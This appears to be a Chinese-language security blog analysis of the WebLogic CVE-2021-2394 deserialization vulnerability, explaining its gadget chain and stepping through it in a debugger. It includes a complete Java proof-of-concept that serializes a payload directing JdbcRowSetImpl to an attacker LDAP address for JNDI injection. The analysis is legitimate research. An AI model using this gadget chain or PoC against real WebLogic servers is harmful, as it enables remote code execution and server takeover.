weblogic漏洞分析之CVE-2021-2394

簡介

Oracle官方釋出了2021年7月份安全更新通告,通告中披露了WebLogic元件存在高危漏洞,攻擊者可以在未授權的情況下通過IIOP、T3協議對存在漏洞的WebLogic Server元件進行攻擊。成功利用該漏洞的攻擊者可以接管WebLogic Server。

這是一個二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的呼叫鏈相結合組成一條新的呼叫鏈來繞過weblogic黑名單列表。

影響版本:

Oracle WebLogic Server 10.3.6.0.0

Oracle WebLogic Server 12.1.3.0.0

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

前置知識

為了更好的理解漏洞,我將介紹漏洞中涉及的每一個類的作用,再將所有類串起來形成呼叫鏈

ExternalizableLite介面

Coherence 元件中存在一個 com.tangosol.io.ExternalizableLite,它繼承了 java.io.Serializable,另外聲明瞭 readExternalwriteExternal 這兩個方法。

ExternalizableHelper類

ExternalizableHelper類可以將實現上面ExternalizableLite介面的類進行序列化和反序列化操作,在反序列化操作中,會呼叫ExternalizableHelper#readObject

如上圖,在ExternalizableHelper#readObject中,會呼叫readObjectInternal方法,此方法會根據要還原類的型別,選擇對應的方法進行解析,對於實現 com.tangosol.io.ExternalizableLite 介面的物件,會進入到 readExternalizableLite 方法:

readExternalizableLite 方法中,會根據類名載入類,然後並且例項化出這個類的物件,然後呼叫它的 readExternal() 方法。

JdbcRowSetImpl類

此類中getDatabaseMetaData方法會呼叫this.connect

this.connect則呼叫了InitialContext#lookup,如果this.getDataSourceName()為惡意uri,則可以產生JNDI注入

MethodAttributeAccessor類

此類中有一個getAttributeValueFromObject方法,在getAttributeValueFromObject方法中,可以呼叫invoke來執行任意方法,前提是三個引數可控getMethod、anObject、parameters

AbstractExtractor類

此類的compare方法會呼叫this.extract

FilterExtractor類

此類是整個漏洞繞過上一個補丁的關鍵類,它實現了ExternalizableLite介面,並且父類是AbstractExtractor

在此類中有兩個比較重要的方法,首先來看第一個extract方法,此方法會呼叫attributeAccessorgetAttributeValueFromObject方法

第二個是readExternal方法

此方法呼叫了SerializationHelper#readAttributeAccessor來從序列化資料中還原this.attributeAccessor的值

跟進readAttributeAccessor方法,可以看到是自己new了一個MethodAttributeAccessor物件,這裡就是繞過補丁的關鍵

TopNAggregator$PartialResult類

TopNAggregator$PartialResult是一個靜態內部類,也實現了ExternalizableLite介面,裡面有個readExternal方法

readExternal方法中也是呼叫的ExternalizableHelper進行還原每一個元素,170行還原了m_comparator後,到172行呼叫了instantiateInternalMap方法並且傳入了還原的m_comparator,跟進instantiateInternalMap

這裡首先new了一個SortedBag.WrapperComparator,傳入comparator,跟進WrapperComparator可以看到把comparator的值賦予給了this.f_comparator

之後把new出來的SortedBag.WrapperComparator物件傳入了TreeMap構造方法,跟進TreeMap構造方法

TreeMap構造方法只是對comparator的一個賦值,把剛剛的SortedBag.WrapperComparator物件傳遞給了this.comparator

回到TopNAggregator$PartialResult類,最終的把TreeMap物件賦值給了this.m_map,接下來看176行的this.add

跟進add方法看到呼叫了父類的add

跟進其父類SortedBag類的add,在父類add方法中,呼叫了map.put,而這裡的map就是上面的TreeMap物件

TreeMap類

TreeMap類中,其put方法會呼叫compare

compare中呼叫了comparator.compare,此處的comparator是在上個內部類中賦予的值SortedBag.WrapperComparator

SortedBag$WrapperComparator類

此類的compare方法會呼叫this.f_comparator.compare

AttributeHolder類

這個是整個漏洞的入口,在此類中實現了readExternal方法,在還原this.m_oValue值時候會呼叫ExternalizableHelper.readObject

漏洞分析

先上gadget:

AttributeHolder#readExternal
ExternalizableHelper#readObject
ExternalizableHelper#readExternalizableLite
TopNAggregator$PartialResult#readExternal
TopNAggregator$PartialResult#add
SortedBag#add
TreeMap#put
SortedBag$WrapperComparator#compare
FilterExtractor#compare
FilterExtractor#extract
MethodAttributeAccessor#getAttributeValueFromObject
Method.invoke
JdbcRowSetImpl#getDatabaseMetaData
InitialContext#lookup

POC用Timeline Sec團隊的:

import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor; import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method; public class test {
public static void main(String[] args) throws Exception {
String ldapurl="ldap://192.168.202.1:1389/2rp7lc"; MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("yangyang");
accessor.setGetMethodName("connect");
accessor.setSetMethodName("setConnection"); Constructor<JdbcRowSetImpl> DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
DeclaredConstructor.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance(); jdbcRowSet.setDataSourceName(ldapurl); FilterExtractor extractor = new FilterExtractor(accessor);
FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor()); SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
sortedBag.add(jdbcRowSet); Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor); AttributeHolder attributeHolder = new AttributeHolder(); Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag); //serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(attributeHolder);
objectOutputStream.close(); //unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
public static class TLSAttributeAccessor extends AttributeAccessor { public Object getAttributeValueFromObject(Object o) throws DescriptorException {
return this.attributeName;
} public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
this.attributeName = "yangyang";
}
}
}

objectIntputStream.readObject();處下斷點

跟進到AttributeHolder#readExternal,這裡使用了ExternalizableHelper從序列化資料中還原this.m_oValue

跟進ExternalizableHelper#readObject,呼叫了readObjectInternal

readObjectInternal中,判斷nType的值,進入readExternalizableLite來處理

readExternalizableLite中,先例項化了TopNAggregator$PartialResult類,然後呼叫了它的readExternal方法

跟進到TopNAggregator$PartialResultreadExternal方法,開始依次還原幾個變數,先看還原第一個m_comparator

跟進ExternalizableHelper#readObjectreadExternalizableLite方法,例項化出了FilterExtractor物件,呼叫其readExternal方法

跟進FilterExtractor#readExternal方法,發現呼叫了SerializationHelper.readAttributeAccessor方法來還原this.attributeAccessor的值

跟進SerializationHelper.readAttributeAccessor後,可以看到會 new 一個 MethodAttributeAccessor 物件,然後從 DataInput 中還原它的 setAttributeNamesetGetMethodName 以及 setSetMethodName 屬性,最後進行返回。

回到TopNAggregator$PartialResultreadExternal方法中,此時this.m_comparator已經變成了FilterExtractor物件

接著呼叫到172行的instantiateInternalMap方法,傳入了this.m_comparator

instantiateInternalMap方法中,首先new了一個SortedBag.WrapperComparator,傳入comparator,跟進WrapperComparator可以看到把comparator的值賦予給了this.f_comparator

之後把new出來的SortedBag.WrapperComparator物件傳入了TreeMap構造方法,跟進TreeMap構造方法

TreeMap構造方法只是對comparator的一個賦值,把剛剛的SortedBag.WrapperComparator物件傳遞給了this.comparator

回到TopNAggregator$PartialResult類,最終的把TreeMap物件賦值給了this.m_map,接下來看176行的this.add

跟進add方法看到呼叫了父類的add,可以看到value的值已經變成了JdbcRowSetImpl

跟進其父類SortedBag類的add,在父類add方法中,呼叫了map.put,而這裡的map就是上面的TreeMap物件

TreeMap類中,其put方法會呼叫compare,此時傳入的key就是JdbcRowSetImpl物件

compare中呼叫了comparator.compare,此處的comparator是在上面TreeMap中賦予的SortedBag.WrapperComparator

接著進入SortedBag.WrapperComparator#compare中,可以看到呼叫了FilterExtractor#compare,其中o1、o2的值為JdbcRowSetImpl

跟進FilterExtractor#compare中,呼叫了this.extract

轉到this.extract,呼叫了MethodAttributeAccessor#getAttributeValueFromObject

檢視MethodAttributeAccessor#getAttributeValueFromObject

利用invoke呼叫了JdbcRowSetImpl#getDatabaseMetaData

最終進行了lookup,其this.getDataSourceName()就是我們輸入的LDAP地址

彈出計算器

參考

https://xz.aliyun.com/t/10052#toc-12

https://github.com/lz2y/CVE-2021-2394